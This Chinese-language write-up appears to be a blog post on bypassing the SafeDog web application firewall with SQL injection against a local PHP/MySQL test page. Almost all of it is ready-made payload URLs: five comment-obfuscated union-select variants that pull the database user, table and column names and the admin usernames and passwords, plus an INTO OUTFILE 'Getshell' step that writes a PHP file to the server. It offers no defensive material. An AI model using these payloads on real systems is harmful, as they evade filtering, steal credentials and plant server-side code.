0x00 前言
版本信息:
语言:php7.1
服务器:apache
数据库:mysql5.6
安全狗版本:apache3.5.12048
使用的测试工具:postman
测试代码与数据库.zip


0x01 开启冲锋的号角
请求:http://127.0.0.1/sql/sqlTest.php?id=1

判断是否存在SQL注入:
请求:http://127.0.0.1/sql/sqlTest.php?id=1' and 1=1 – a

QAQ 还是给拦了,正常操作
我们修改语句:
http://127.0.0.1/sql/sqlTest.php?id=1' and asdasd12
http://127.0.0.1/sql/sqlTest.php?id=1' xxx 1=1
没有给拦截,说明安全狗还是基于正则的

那要判断是否有注入就简单了,只要简单的变形就可以了
判断是否存在sql注入
请求:
http://127.0.0.1/sql/sqlTest.php?id=1' %26%26 1=1 -- a #真
http://127.0.0.1/sql/sqlTest.php?id=1' %26%26 true -- a #真
http://127.0.0.1/sql/sqlTest.php?id=1' %26%26 1 -- a #真
http://127.0.0.1/sql/sqlTest.php?id=1' %26%26 1=2 -- a #假
http://127.0.0.1/sql/sqlTest.php?id=1' %26%26 false -- a #假
http://127.0.0.1/sql/sqlTest.php?id=1' %26%26 0 -- a #假
判断是否是数字型注入
请求:
http://127.0.0.1/sql/sqlTest.php?id=3-1 -- a
在执行前先看看 id = 3的数据 与 id = 2的数据
如果 3-1 以后 显示的是 id = 2 的数据那就说明是 数字型的注入 反之则不是
0x03 霍哦,开始 联合注入

Emmmmm,给拦截是正常的~~~,不拦截我的文章怎么办。
在正式进行之前,我们要知道安全狗的拦截特征先
请求:
http://127.0.0.1/sql/sqlTest.php?id=3 ' x union select 1,2,3,4,5,6,7 -- a 过滤
http://127.0.0.1/sql/sqlTest.php?id=3 ' union x select 1,2,3,4,5,6,7 -- a 不过滤
http://127.0.0.1/sql/sqlTest.php?id=3 ' xunion select 1,2,3,4,5,6,7 -- a 不过滤
http://127.0.0.1/sql/sqlTest.php?id=3 ' union xselect 1,2,3,4,5,6,7 -- a 不过滤
也就是说哦。
(x)union (x) select (x)是我们要填写的绕过语句
而我比较菜鸡呀=-=
只会使用 /**/ /*!*/ ) ( ~ a-z 1-9来进行绕过
那就简单了
写了个php的脚本疯狂的发curl
(x) union (x) select
在 x 的中间疯狂的跑 /**/ /*!*/ ) ( ~ a-z 1-9 自动去组装 语句只要返回没有 安全狗的特征我就当他绕过成功了,基于这个思路,跑了一下子,大量的结果就出来了。

我脚本跑完也一脸蒙蔽,出来的绕过结果居然有十几个都可以正常绕过,我随机取了几个,给你们看看,我现在就在想是不是安全狗更新更炸了,这一波更新问题更多了
0x04 绕过方式一
看回显
http://127.0.0.1/sql/sqlTest.php?id=-1'/*!union/*!/**//*!select*/~1,2,3,4,5,6,7 -- a

获取用户
http://127.0.0.1/sql/sqlTest.php?id=-1'/*!union/*!/**//*!select*/~1,2,user/**/(),4,5,6,7 -- a

获取表名
http://127.0.0.1/sql/sqlTest.php?id=-1'/*!union/*!/**//*!select*/~1,2,user/**/(),table_name,5,6,7 FROM information_schema.TABLES WHERE table_schema = DATABASE/**/() limit 0,1 -- a

获取列名
http://127.0.0.1/sql/sqlTest.php?id=-1'/*!union/*!/**//*!select*/~1,2,user/**/(),column_name,5,6,7 FROM information_schema.columns where/**/table_name='tdb_admin' limit 0,1 --a

获取数据
http://127.0.0.1/sql/sqlTest.php?id=-1'/*!union/*!/**//*!select*/~1,2,user/**/(),group_concat(username,0x7e,password),5,6,7 FROM tdb_admin limit 0,1 --a

Getshell
http://127.0.0.1/sql/sqlTest.php?id=-1'/*!union/*!/**//*!select*/~1,2,3,'<?php phpinfo();?>',5,6,7 into outfile 'dir' -- a
0x05 绕过方式二
看回显
http://127.0.0.1/sql/sqlTest.php?id=-3'/*!union*//**//*!select*/1,2,3,4,5,6,7 -- a

获取用户
http://127.0.0.1/sql/sqlTest.php?id=-3'/*!union*//**//*!select*/1,2,user/**/(),4,5,6,7 -- a

获取表名
http://127.0.0.1/sql/sqlTest.php?id=-3'/*!union*//**//*!select*/1,2,user/**/(),table_name,5,6,7 FROM information_schema.TABLES WHERE table_schema = DATABASE/**/() limit 0,1 -- a

获取列名
http://127.0.0.1/sql/sqlTest.php?id=-3'/*!union*//**//*!select*/1,2,user/**/(),table_name,5,6,7 FROM information_schema.TABLES WHERE table_schema = DATABASE/**/() limit 0,1 -- a

获取数据
http://127.0.0.1/sql/sqlTest.php?id=-3'/*!union*//**//*!select*/1,2,USER/**/(),group_concat(username,0x7e,password),5,6,7 FROM tdb_admin -- a

0x06 绕过方式三
看回显
http://127.0.0.1/sql/sqlTest.php?id=-3'/**//*!union*//*!select*/1,2,3,4,5,6,7 -- a

获取用户
http://127.0.0.1/sql/sqlTest.php?id=-3'/**//*!union*//*!select*/1,2,user/**/(/**/),4,5,6,7 -- a

获取表名
http://127.0.0.1/sql/sqlTest.php?id=-3'/**//*!union*//*!select*/1,2,user/**/(/**/),table_name,5,6,7 FROM/**/information_schema.TABLES WHERE table_schema = DATABASE/**/() limit 0,1 – a

获取列名
http://127.0.0.1/sql/sqlTest.php?id=-3'/**//*!union*//*!select*/1,2,user/**/(/**/),column_name,5,6,7 FROM/**/information_schema.COLUMNS/**/WHERE table_name = 'tdb_admin'LIMIT 0,1 -- a

获取数据
http://127.0.0.1/sql/sqlTest.php?id=-3'/**//*!union*//*!select*/1,2,user/**/(/**/),group_concat(username,0x7e,password),5,6,7 FROM tdb_admin -- a

0x07 绕过方式四
获取用户
http://127.0.0.1/sql/sqlTest.php?id=-3'/*!union*//*!/**/select*/1,2,user/**/(),4,5,6,7 -- aa

获取表名
http://127.0.0.1/sql/sqlTest.php?id=-3'/*!union*//*!/**/select*/1,2,user/**/(),table_name,5,6,7 FROM information_schema.TABLES WHERE table_schema = DATABASE/**/() limit 0,1 -- a

获取列名
http://127.0.0.1/sql/sqlTest.php?id=-3'/*!union*//*!/**/select*/1,2,user/**/(),column_name,5,6,7 FROM/*!information_schema.COLUMNS*/ WHERE table_name = 'tdb_admin'LIMIT 0,1 -- a

获取数据
http://127.0.0.1/sql/sqlTest.php?id=-3'/*!union*//*!/**/select*/1,2,user/**/(),group_concat(username,0x7e,password),5,6,7 FROM tdb_admin LIMIT 0,1 -- a

0x08 绕过方式五
获取用户
http://127.0.0.1/sql/sqlTest.php?id=-3'/**/union/*!select*/1,2,user/**/(),4,5,6,7 -- a

获取表名
http://127.0.0.1/sql/sqlTest.php?id=-3'/**/union/*!select*/1,2,3,user/**/(),table_name,6,7 FROM information_schema.TABLES WHERE table_schema = DATABASE/**/() limit 0,1 -- a

获取列名
http://127.0.0.1/sql/sqlTest.php?id=-3'/**/union/*!select*/1,2,3,user/**/(),column_name,6,7 FROM information_schema.COLUMNS/**/WHERE table_name = 'tdb_admin'LIMIT 0,1 -- a

获取数据
http://127.0.0.1/sql/sqlTest.php?id=-3'/**/union/*!select*/1,2,3,user/**/(),group_concat(username,0x7e,password),6,7 FROM tdb_admin LIMIT 0,1 -- a

